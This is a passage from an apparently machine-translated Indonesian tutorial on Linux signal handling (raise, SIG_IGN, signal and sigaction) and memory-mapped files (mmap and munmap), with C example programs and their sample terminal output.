printf("Testing SIGSTOP\n");
pid = getpid();
printf("Open Another Terminal and issue following command\n");
printf("kill -SIGCONT %d or kill -CONT %d or kill -18 %d\n", pid, pid, pid);
raise(SIGSTOP);
printf("Received signal SIGCONT\n");
return 0;
}
Langkah Kompilasi dan Eksekusi
Testing SIGSTOP
Open Another Terminal and issue following command
kill -SIGCONT 30379 or kill -CONT 30379 or kill -18 30379
[1]+ Stopped ./a.out
Received signal SIGCONT
[1]+ Done ./a.out
Di terminal lain
kill -SIGCONT 30379
Sejauh ini, kita telah melihat program yang menangani sinyal yang dibangkitkan oleh sistem. Sekarang, mari kita lihat sinyal yang dihasilkan melalui program (menggunakan fungsi raise () atau melalui perintah kill). Program ini menghasilkan sinyal SIGTSTP (terminal stop), yang tindakan defaultnya adalah menghentikan eksekusi. Namun, karena kita menangani sinyal sekarang daripada tindakan default, itu akan datang ke penangan yang ditentukan. Dalam hal ini, kami hanya mencetak pesan dan keluar.
/* signal_raising_handling.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGTSTP, handler_sigtstp);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
printf("Testing SIGTSTP\n");
raise(SIGTSTP);
return 0;
}
void handler_sigtstp(int signum) {
if (signum == SIGTSTP) {
printf("Received SIGTSTP\n");
exit(0);
}
else
printf("Received %d Signal\n", signum);
return;
}
Langkah Kompilasi dan Eksekusi
Testing SIGTSTP
Received SIGTSTP
Kami telah melihat contoh melakukan tindakan default atau menangani sinyal. Sekarang, saatnya mengabaikan sinyalnya. Di sini, dalam program contoh ini, kami mendaftarkan sinyal SIGTSTP untuk diabaikan melalui SIG_IGN dan kemudian kami menaikkan sinyal SIGTSTP (terminal stop). Ketika sinyal SIGTSTP sedang dibuat, itu akan diabaikan.
/* signal_raising_ignoring.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGTSTP, SIG_IGN);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
printf("Testing SIGTSTP\n");
raise(SIGTSTP);
printf("Signal SIGTSTP is ignored\n");
return 0;
}
Langkah Kompilasi dan Eksekusi
Testing SIGTSTP
Signal SIGTSTP is ignored
Sejauh ini, kami telah mengamati bahwa kami memiliki satu penangan sinyal untuk menangani satu sinyal. Bisakah kita memiliki satu penangan untuk menangani banyak sinyal? Jawabannya iya. Mari kita pertimbangkan ini dengan sebuah program.
Program berikut melakukan hal berikut -
Step 1 - Mendaftarkan penangan (handleSignals) untuk menangkap atau menangani sinyal SIGINT (CTRL + C) atau SIGQUIT (CTRL + \)
Step 2 - Jika pengguna menghasilkan sinyal SIGQUIT (baik melalui perintah kill atau kontrol keyboard dengan CTRL + \), handler hanya mencetak pesan sebagai return.
Step 3 - Jika pengguna menghasilkan sinyal SIGINT (baik melalui perintah kill atau kontrol keyboard dengan CTRL + C) pertama kali, kemudian memodifikasi sinyal untuk melakukan tindakan default (dengan SIG_DFL) dari waktu berikutnya.
Step 4 - Jika pengguna menghasilkan sinyal SIGINT untuk kedua kalinya, ia melakukan tindakan default, yang merupakan penghentian program.
/* Filename: sigHandler.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
void (*sigHandlerInterrupt)(int);
void (*sigHandlerQuit)(int);
void (*sigHandlerReturn)(int);
sigHandlerInterrupt = sigHandlerQuit = handleSignals;
sigHandlerReturn = signal(SIGINT, sigHandlerInterrupt);
if (sigHandlerReturn == SIG_ERR) {
perror("signal error: ");
return 1;
}
sigHandlerReturn = signal(SIGQUIT, sigHandlerQuit);
if (sigHandlerReturn == SIG_ERR) {
perror("signal error: ");
return 1;
}
while (1) {
printf("\nTo terminate this program, perform the following: \n");
printf("1. Open another terminal\n");
printf("2. Issue command: kill %d or issue CTRL+C 2 times (second time it terminates)\n", getpid());
sleep(10);
}
return 0;
}
void handleSignals(int signum) {
switch(signum) {
case SIGINT:
printf("\nYou pressed CTRL+C \n");
printf("Now reverting SIGINT signal to default action\n");
signal(SIGINT, SIG_DFL);
break;
case SIGQUIT:
printf("\nYou pressed CTRL+\\ \n");
break;
default:
printf("\nReceived signal number %d\n", signum);
break;
}
return;
}
Langkah Kompilasi dan Eksekusi
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^\You pressed CTRL+\
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 120
Terminated
Terminal lain
kill 71
Metode Kedua
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
Kita tahu bahwa untuk menangani sinyal, kita memiliki dua panggilan sistem yaitu, signal () atau sigaction (). Sampai sekarang kita sudah melihat dengan system call signal (), sekarang saatnya untuk system call sigaction (). Mari kita memodifikasi program di atas untuk dilakukan menggunakan sigaction () sebagai berikut -
/* Filename: sigHandlerSigAction.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
void (*sigHandlerReturn)(int);
struct sigaction mysigaction;
mysigaction.sa_handler = handleSignals;
sigemptyset(&mysigaction.sa_mask);
mysigaction.sa_flags = 0;
sigaction(SIGINT, &mysigaction, NULL);
if (mysigaction.sa_handler == SIG_ERR) {
perror("signal error: ");
return 1;
}
mysigaction.sa_handler = handleSignals;
sigemptyset(&mysigaction.sa_mask);
mysigaction.sa_flags = 0;
sigaction(SIGQUIT, &mysigaction, NULL);
if (mysigaction.sa_handler == SIG_ERR) {
perror("signal error: ");
return 1;
}
while (-1) {
printf("\nTo terminate this program, perform either of the following: \n");
printf("1. Open another terminal and issue command: kill %d\n", getpid());
printf("2. Issue CTRL+C 2 times (second time it terminates)\n");
sleep(10);
}
return 0;
}
void handleSignals(int signum) {
switch(signum) {
case SIGINT:
printf("\nYou have entered CTRL+C \n");
printf("Now reverting SIGINT signal to perform default action\n");
signal(SIGINT, SIG_DFL);
break;
case SIGQUIT:
printf("\nYou have entered CTRL+\\ \n");
break;
default:
printf("\nReceived signal number %d\n", signum);
break;
}
return;
}
Mari kita lihat proses kompilasi dan eksekusi. Dalam proses eksekusi, mari kita lihat masalah CTRL + C dua kali, sisa pemeriksaan / cara (seperti di atas) Anda dapat mencoba program ini juga.
Langkah Kompilasi dan Eksekusi
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
You have entered CTRL+C
Now reverting SIGINT signal to perform default action
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
Panggilan sistem mmap () menyediakan pemetaan di ruang alamat virtual dari proses panggilan yang memetakan file atau perangkat ke dalam memori. Ini dari dua jenis -
File mapping or File-backed mapping- Pemetaan ini memetakan area memori virtual proses ke file. Ini berarti membaca atau menulis ke area memori tersebut menyebabkan file dibaca atau ditulis. Ini adalah jenis pemetaan default.
Anonymous mapping- Pemetaan ini memetakan area memori virtual proses tanpa didukung oleh file apa pun. Isi diinisialisasi ke nol. Pemetaan ini mirip dengan alokasi memori dinamis (malloc ()) dan digunakan dalam beberapa implementasi malloc () untuk alokasi tertentu.
Memori dalam satu pemetaan proses dapat digunakan bersama dengan pemetaan di proses lain. Ini dapat dilakukan dengan dua cara -
Ketika dua proses memetakan wilayah yang sama dari sebuah file, mereka berbagi halaman memori fisik yang sama.
Jika proses anak dibuat, itu mewarisi pemetaan induk dan pemetaan ini merujuk ke halaman memori fisik yang sama seperti yang dimiliki induk. Jika ada perubahan data dalam proses anak, halaman berbeda akan dibuat untuk proses anak.
Ketika dua atau lebih proses berbagi halaman yang sama, setiap proses dapat melihat perubahan konten halaman yang dibuat oleh proses lain tergantung pada jenis pemetaan. Jenis pemetaan bisa pribadi atau bersama -
Private Mapping (MAP_PRIVATE) - Modifikasi pada konten pemetaan ini tidak terlihat oleh proses lain dan pemetaan tidak dilakukan ke file yang mendasarinya.
Shared Mapping (MAP_SHARED) - Modifikasi pada konten pemetaan ini terlihat oleh proses lain dan pemetaan dilakukan ke file yang mendasarinya.
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
Panggilan sistem di atas mengembalikan alamat awal pemetaan pada keberhasilan atau MAP_FAILED pada kesalahan.
Alamat virtual addr, dapat ditentukan oleh pengguna atau dibuat oleh kernel (setelah memasukkan addr sebagai NULL). Panjang bidang yang ditunjukkan membutuhkan ukuran pemetaan dalam byte. Prot bidang menunjukkan nilai-nilai perlindungan memori seperti PROT_NONE, PROT_READ, PROT_WRITE, PROT_EXEC dimaksudkan untuk wilayah yang masing-masing tidak dapat diakses, dibaca, ditulis atau dijalankan. Nilai ini bisa tunggal (PROT_NONE) atau bisa ORd dengan salah satu dari tiga bendera (3 terakhir). Bendera bidang menunjukkan jenis pemetaan, atau MAP_PRIVATE atau MAP_SHARED. Bidang 'fd' menunjukkan deskriptor file yang mengidentifikasi file yang akan dipetakan dan bidang 'offset' menyiratkan titik awal file, jika perlu memetakan seluruh file, offset harus nol.
#include <sys/mman.h>
int munmap(void *addr, size_t length);
Panggilan sistem di atas mengembalikan 0 jika berhasil atau -1 saat error.
Sistem memanggil munmap, melakukan unmapping wilayah yang sudah dipetakan memori. Addr field menunjukkan alamat awal pemetaan dan panjangnya menunjukkan ukuran dalam byte dari pemetaan yang akan dibuka. Biasanya pemetaan dan unmapping untuk seluruh wilayah yang dipetakan. Jika ini harus berbeda, maka harus dikecilkan atau dipotong menjadi dua bagian. Jika addr tidak memiliki pemetaan, panggilan ini tidak akan berpengaruh dan panggilan kembali 0 (berhasil).
Mari kita pertimbangkan contoh -
Step 1 - Tulis ke dalam file karakter Alpha Numeric seperti gambar dibawah -
0 | 1 | 2 | … | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | … | 59 | 60 | 61 |
A | B | C | … | Z | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | b | c | … | x | y | z |
Step 2- Petakan konten file ke dalam memori menggunakan panggilan sistem mmap (). Ini akan mengembalikan alamat awal setelah dipetakan ke dalam memori.
Step 3- Akses konten file menggunakan notasi array (juga dapat diakses dengan notasi pointer) karena tidak membaca panggilan sistem read () yang mahal. Dengan menggunakan pemetaan memori, hindari banyak penyalinan antara ruang pengguna, buffer ruang kernel, dan cache buffer.
Step 4 - Ulangi membaca konten file sampai pengguna memasukkan "-1" (menandakan akhir akses).
Step 5 - Lakukan kegiatan pembersihan yaitu membuka peta wilayah memori yang dipetakan (munmap ()), menutup file dan menghapus file.
/* Filename: mmap_test.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
void write_mmap_sample_data();
int main() {
struct stat mmapstat;
char *data;
int minbyteindex;
int maxbyteindex;
int offset;
int fd;
int unmapstatus;
write_mmap_sample_data();
if (stat("MMAP_DATA.txt", &mmapstat) == -1) {
perror("stat failure");
return 1;
}
if ((fd = open("MMAP_DATA.txt", O_RDONLY)) == -1) {
perror("open failure");
return 1;
}
data = mmap((caddr_t)0, mmapstat.st_size, PROT_READ, MAP_SHARED, fd, 0);
if (data == (caddr_t)(-1)) {
perror("mmap failure");
return 1;
}
minbyteindex = 0;
maxbyteindex = mmapstat.st_size - 1;
do {
printf("Enter -1 to quit or ");
printf("enter a number between %d and %d: ", minbyteindex, maxbyteindex);
scanf("%d",&offset);
if ( (offset >= 0) && (offset <= maxbyteindex) )
printf("Received char at %d is %c\n", offset, data[offset]);
else if (offset != -1)
printf("Received invalid index %d\n", offset);
} while (offset != -1);
unmapstatus = munmap(data, mmapstat.st_size);
if (unmapstatus == -1) {
perror("munmap failure");
return 1;
}
close(fd);
system("rm -f MMAP_DATA.txt");
return 0;
}
void write_mmap_sample_data() {
int fd;
char ch;
struct stat textfilestat;
fd = open("MMAP_DATA.txt", O_CREAT|O_TRUNC|O_WRONLY, 0666);
if (fd == -1) {
perror("File open error ");
return;
}
// Write A to Z
ch = 'A';
while (ch <= 'Z') {
write(fd, &ch, sizeof(ch));
ch++;
}
// Write 0 to 9
ch = '0';
while (ch <= '9') {
write(fd, &ch, sizeof(ch));
ch++;
}
// Write a to z
ch = 'a';
while (ch <= 'z') {
write(fd, &ch, sizeof(ch));
ch++;
}
close(fd);
return;
}
Keluaran
Enter -1 to quit or enter a number between 0 and 61: 3
Received char at 3 is D
Enter -1 to quit or enter a number between 0 and 61: 28
Received char at 28 is 2
Enter -1 to quit or enter a number between 0 and 61: 38
Received char at 38 is c
Enter -1 to quit or enter a number between 0 and 61: 59
Received char at 59 is x
Enter -1 to quit or enter a number between 0 and 61: 65
Received invalid index 65
Enter -1 to quit or enter a number between 0 and 61: -99
Received invalid index -99
Enter -1 to quit or enter a number between 0 and 61: -1